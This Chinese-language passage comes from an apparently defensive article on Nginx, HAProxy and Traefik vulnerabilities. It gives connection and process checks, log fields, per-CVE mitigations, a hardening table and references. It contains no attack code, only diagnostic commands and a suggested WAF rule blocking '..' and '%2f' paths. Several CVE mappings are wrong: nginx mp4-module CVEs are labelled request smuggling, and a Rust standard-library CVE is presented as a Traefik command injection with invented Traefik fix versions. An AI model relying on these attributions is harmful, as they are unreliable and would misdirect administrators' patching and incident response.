ss -tnp | grep -c ":443"
netstat -an | grep ESTABLISHED | awk '{print $5}' | sort | uniq -c | sort -rn | head -10
第四步:检查进程异常
ps aux | grep -E "nginx|haproxy|traefik"
ls -la /proc/$(pgrep -f traefik)/exe
8.2 各产品日志关键字段
| 产品 | 日志路径 | 关键字段 |
|---|
| Nginx | /var/log/nginx/access.log | $request_method, $request_uri, $status, $upstream_addr, $request_length |
| HAProxy | /var/log/haproxy.log | %hr (来源IP), %HV (HTTP版本), %ST (状态码), %Tq (排队时间) |
| Traefik | /var/log/traefik/traefik.log | EntryPointName, OriginStatus, DownstreamStatus, ClientHost |
8.3 紧急缓解措施
针对 HTTP/2 Rapid Reset (CVE-2023-44487):
- 在云厂商层面启用 L7 DDoS 防护(Cloudflare、AWS Shield Advanced 等)
- 限制单 IP 并发 HTTP/2 流数量:
http2_max_concurrent_streams 100; - 在 WAF 层面检测 RST_STREAM 帧异常速率
- 临时禁用 HTTP/2 降级为 HTTP/1.1(会影响性能但可止血)
针对 HTTP 请求走私 (CVE-2022-41741 / CVE-2022-41742 / CVE-2023-25693):
- 统一前后端的 Transfer-Encoding 处理策略
- 在代理层移除或规范化 Transfer-Encoding 头部
- 确保后端服务器使用 HTTP/1.0 与代理通信(禁用 chunked)
- 升级到各产品的修复版本
针对命令注入 (CVE-2024-24576):
- 立即升级 Traefik 到 2.10.7 或 3.0.0-rc3 以上版本
- 升级 Rust 工具链到 1.77.1 以上
- 审查所有外部输入到命令执行的代码路径
- 在 Windows 平台上部署额外的输入过滤层
针对路径穿越:
- 审查所有
alias 指令,确保目录路径末尾有 / - 使用
realpath_root 指令限制文件访问范围 - 在 WAF 层面拦截包含
.. 和 %2f 的请求路径
8.4 长期安全加固
| 检查项 | Nginx | HAProxy | Traefik |
|---|
| 升级到修复版本 | nginx -v 确认 | haproxy -v 确认 | 确认 Traefik 版本 |
| 禁用不需要的模块 | 移除 load_module | 禁用不需要的 bind | 移除不需要的中间件 |
| 限制请求大小 | client_max_body_size | tune.bufsize | maxBodyBytes |
| 配置速率限制 | limit_req_zone | stick-table | RateLimit 中间件 |
| 禁用目录遍历 | 确认 alias 末尾有 / | 确认 http-request deny 规则 | 确认路由规则无穿越 |
| 访问控制管理接口 | allow/deny 限制 /nginx_status | 无默认管理接口 | 启用 BasicAuth Dashboard |
| TLS 配置 | ssl_protocols TLSv1.2+ | ssl-default-bind-ciphers | tls 配置段 |
| HTTP/2 配置 | http2 on + 连接限制 | h2-initial-window-size 调优 | 默认启用 HTTP/2 |
0x09 参考资料
- CVE-2023-44487 - NVD
- Google Cloud - The HTTP/2 Rapid Reset DDoS Attack
- Cloudflare - HTTP/2 Rapid Reset Exploited in the Wild
- Nginx Security Advisories
- HAProxy CVE-2023-25693 Disclosure
- Rust Security Advisory RUSTSEC-2024-0019 - Command Injection in std
- Traefik Security Advisory CVE-2024-24576
- PortSwigger - HTTP Request Smuggling
- OWASP - HTTP Request Smuggling Prevention Cheat Sheet
- HTTP/2 RFC 7540 - Stream Lifecycle
- Nuclei Templates - CVE Detection
- HAProxy Configuration Manual